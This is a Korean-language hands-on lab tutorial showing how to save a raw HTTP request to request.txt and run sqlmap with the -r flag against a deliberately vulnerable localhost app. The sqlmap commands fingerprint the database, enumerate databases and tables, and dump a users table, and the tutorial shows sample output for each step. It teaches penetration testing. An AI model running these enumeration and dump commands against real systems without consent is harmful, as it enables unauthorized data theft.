소개
이 랩에서는 인기 있는 오픈 소스 침투 테스트 도구인 sqlmap을 사용하여 SQL 인젝션 취약점을 탐지하는 강력한 기법을 배우게 됩니다. 대상 URL 을 직접 제공하는 대신, Burp Suite 또는 ZAP 과 같은 프록시 도구를 사용하여 전체 HTTP 요청을 캡처하고 파일로 저장한 다음, sqlmap에 이 파일을 사용하여 스캔 프로세스를 진행하도록 지시할 것입니다. 이 방법은 복잡한 요청 (예: 많은 매개변수, 사용자 정의 헤더 또는 인증 토큰이 있는 POST 요청) 을 처리하거나 수동으로 재구성하지 않고 특정 요청을 다시 재생하려는 경우에 특히 유용합니다. 이 랩이 끝나면 sqlmap을 사용한 보다 정확하고 유연한 SQL 인젝션 테스트를 위해 캡처된 HTTP 요청을 활용하는 데 능숙해질 것입니다.
Burp Suite 또는 ZAP 으로 전체 HTTP 요청 캡처하기
이 단계에서는 웹 프록시 도구를 사용하여 전체 HTTP 요청을 캡처하는 방법을 배우게 됩니다. Burp Suite 와 ZAP 이 일반적인 선택이지만, 이 터미널 기반 랩에서는 GUI 복잡성을 피하고 단순성을 위해 취약한 웹 애플리케이션에 대한 원시 HTTP 요청을 직접 구성하여 요청 캡처를 시뮬레이션할 것입니다.
먼저, 더미 취약 웹 애플리케이션에 접근할 수 있는지 확인해 보겠습니다. 새 터미널을 열고 curl을 사용하여 요청을 보냅니다.
curl http://localhost/sqli_test/index.php?id=1
애플리케이션이 실행 중임을 확인하는 다음과 유사한 출력이 표시되어야 합니다.
id: 1 - Name: Alice<br>
이제 sqlmap에서 사용할 수 있는 원시 HTTP 요청을 수동으로 생성할 것입니다. 이 요청은 SQL 인젝션에 취약한 id 매개변수를 대상으로 합니다.
nano ~/project/request.txt
request.txt 파일에 다음 내용을 붙여넣습니다. 이는 취약한 애플리케이션에 대한 간단한 GET 요청을 나타냅니다.
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Ctrl+X를 누른 다음 Y를 눌러 확인하고 Enter를 눌러 request.txt에 저장하여 파일을 저장합니다.
원시 요청을 텍스트 파일 (예: request.txt) 에 저장하기
이전 단계에서 원시 HTTP 요청을 ~/project/request.txt에 생성하고 저장했습니다. 이 파일에는 이제 sqlmap이 대상을 이해하고 상호 작용하는 방법 (HTTP 메서드 (GET), 경로 (/sqli_test/index.php), 매개변수 (id=1), 다양한 HTTP 헤더 포함) 에 필요한 모든 정보가 포함되어 있습니다.
파일 내용을 확인하려면 cat 명령을 사용할 수 있습니다.
cat ~/project/request.txt
출력에는 붙여넣은 정확한 HTTP 요청이 표시되어야 합니다.
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
이 request.txt 파일은 이제 sqlmap에서 사용할 준비가 되었습니다.
-r 플래그를 사용하여 요청 파일 로드하기
이 단계에서는 sqlmap의 -r 플래그에 대해 배우게 됩니다. -r 플래그는 sqlmap에게 명령줄에서 직접 URL 을 요구하는 대신 지정된 파일에서 HTTP 요청을 로드하도록 지시합니다. 이는 복잡한 요청을 스캔하거나 캡처된 트래픽을 다시 재생하는 데 중요합니다.
-r 플래그를 사용하는 기본 구문은 다음과 같습니다.
sqlmap -r < request_file > [options]
여기서 <request_file>은 원시 HTTP 요청이 포함된 파일의 경로입니다. 이 경우 ~/project/request.txt가 됩니다.
전체 스캔을 실행하기 전에 sqlmap이 파일을 올바르게 구문 분석할 수 있는지 확인하기 위해 간단한 테스트를 시도해 보겠습니다. 대상에 대한 sqlmap의 요구 사항을 충족하기 위해 더미 URL 과 함께 --url 옵션을 사용하지만 실제 요청은 파일에서 가져옵니다. 이는 -r을 사용할 때 일반적인 관행입니다.
sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint
--fingerprint 옵션은 백엔드 데이터베이스 관리 시스템 (DBMS) 을 식별하려고 시도합니다. sqlmap이 요청 파일을 성공적으로 처리하면 지문 인식 프로세스를 시작합니다. 질문이 표시될 수 있습니다. 이 랩에서는 일반적으로 Enter 또는 y를 눌러 기본 옵션을 수락할 수 있습니다.
sqlmap이 프로세스를 시작하고 파일에서 읽고 있음을 나타내는 출력을 볼 수 있어야 합니다. 다음과 유사한 출력을 찾으십시오.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r18600)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:34:56 /2023-10-27/
[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...
이는 sqlmap이 request.txt에서 요청을 올바르게 로드하고 있음을 확인합니다.
sqlmap -r request.txt를 사용하여 스캔 실행하기
요청 파일을 로드하는 방법을 이해했으므로 이제 -r 플래그를 사용하여 sqlmap으로 전체 SQL 주입 스캔을 실행할 차례입니다. 스캔을 더 효과적으로 만들기 위해 몇 가지 일반적인 옵션을 사용하겠습니다.
명령은 다음과 같습니다.
sqlmap -r ~/project/request.txt --batch --dbs
이 옵션들을 살펴보겠습니다.
-r ~/project/request.txt:request.txt파일에서 HTTP 요청을 로드합니다.--batch: 대부분의 프롬프트에 자동으로 "예"라고 응답하여 비대화형 모드에서sqlmap을 실행합니다. 이는 스크립팅에 유용하거나 예상되는 내용을 알고 있을 때 사용됩니다.--dbs: 데이터베이스 관리 시스템 (DBMS) 데이터베이스를 열거합니다. 이는 사용 가능한 데이터베이스를 검색하는 일반적인 첫 번째 단계입니다.
명령을 실행합니다.
sqlmap -r ~/project/request.txt --batch --dbs
이제 sqlmap이 스캔 프로세스를 시작합니다. 요청의 id 매개변수에 대해 다양한 SQL 주입 기법을 테스트합니다. 더미 애플리케이션이 취약하므로 sqlmap은 결국 취약점을 식별하고 사용 가능한 데이터베이스를 나열해야 합니다.
sqlmap이 테스트를 수행함에 따라 많은 출력을 보게 됩니다. 취약점 감지 및 데이터베이스 열거를 나타내는 줄을 찾으십시오.
예시 출력 스니펫:
...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...
이 출력은 sqlmap이 id 매개변수를 취약한 것으로 성공적으로 식별했으며 설정에서 생성한 testdb 데이터베이스를 찾았음을 확인합니다.
스캔이 파일의 올바른 매개변수를 대상으로 하는지 확인하기
이 마지막 단계에서는 sqlmap이 request.txt 파일에서 id 매개변수를 올바르게 식별하고 대상으로 지정했는지 확인할 것입니다. 이는 캡처된 요청이 의도한 대로 해석되고 있는지 확인하는 데 중요합니다.
sqlmap이 시작될 때 일반적으로 주입 가능한 매개변수를 식별합니다. 이전 단계의 출력에서 이를 관찰할 수 있습니다. 특히 "GET parameter 'id' appears to be... injectable"과 같은 줄을 찾으십시오.
더 확인하기 위해 testdb 데이터베이스 내의 테이블에서 데이터를 덤프해 보겠습니다. --dump 옵션과 함께 데이터베이스 및 테이블을 지정할 것입니다.
먼저 testdb의 테이블을 나열해 보겠습니다.
sqlmap -r ~/project/request.txt --batch -D testdb --tables
sqlmap이 users 테이블을 식별하는 것을 볼 수 있어야 합니다.
...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...
이제 users 테이블에서 데이터를 덤프해 보겠습니다.
sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump
이 명령은 sqlmap에게 request.txt에서 로드된 요청을 사용하여 testdb 데이터베이스 내의 users 테이블에서 모든 항목을 덤프하도록 지시합니다.
users 테이블의 데이터를 볼 수 있어야 하며, 이는 sqlmap이 캡처된 요청에 지정된 id 매개변수를 통해 SQL 주입 취약점을 성공적으로 악용하여 데이터를 추출했음을 확인합니다.
...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
...
이는 sqlmap이 request.txt 파일을 올바르게 구문 분석하고, id 매개변수를 식별했으며, 캡처된 요청에 지정된 id 매개변수를 통해 SQL 주입 취약점을 성공적으로 악용하여 데이터를 추출했음을 확인합니다.
요약
이 실습에서는 캡처된 HTTP 요청 파일을 사용하여 SQL 주입 취약점을 스캔하기 위해 sqlmap의 강력한 -r 플래그를 활용하는 방법을 성공적으로 배웠습니다. 원시 HTTP 요청을 캡처하는 개념을 이해하는 것부터 시작하여, 취약한 애플리케이션에 대한 GET 요청을 나타내는 request.txt 파일을 수동으로 생성했습니다. 그런 다음 sqlmap -r request.txt를 사용하여 먼저 데이터베이스를 지문 인식하고, 이어서 데이터베이스를 열거하고 특정 테이블에서 데이터를 덤프하는 스캔을 시작했습니다. 이 방법은 엄청난 유연성을 제공하여 복잡한 시나리오를 테스트하고 특정 트래픽을 다시 재생하며 웹 애플리케이션 침투 테스트 워크플로우에 sqlmap을 보다 원활하게 통합할 수 있습니다. 이 기술을 마스터하는 것은 모든 보안 전문가 또는 애호가에게 귀중한 기술입니다.


